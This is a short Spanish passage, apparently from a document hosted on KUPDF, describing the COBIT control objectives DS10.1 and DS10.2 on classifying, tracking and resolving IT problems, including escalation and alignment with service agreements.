El objetivo «DS10.1 Identificación y clasificación de los problemas» indica que debe existir un sistema de clasificación. Este sistema debe diferenciar un problema de un incidente, y otorgar una importancia, una urgencia y una prioridad. Los problemas deben organizarse por categoría o por servicio, como «hardware», «software», etc.

Las exigencias de «DS10.2 Seguimiento y resolución de problemas» piden que la herramienta permita el seguimiento y el análisis de los problemas, determinar las causas iniciales y poder encontrar y usar soluciones viables que respondan a las causas iniciales. Los responsables deben estar informados regularmente de la evolución. Las consecuencias en el negocio deben ser monitorizadas constantemente. Si un problema es grave, debe escalar a la dirección de la empresa o a un responsable. La resolución de problemas debe estar alineada con los contratos de servicio definidos.

View more...

Comments

Copyright ©2017 KUPDF Inc.
SUPPORT KUPDF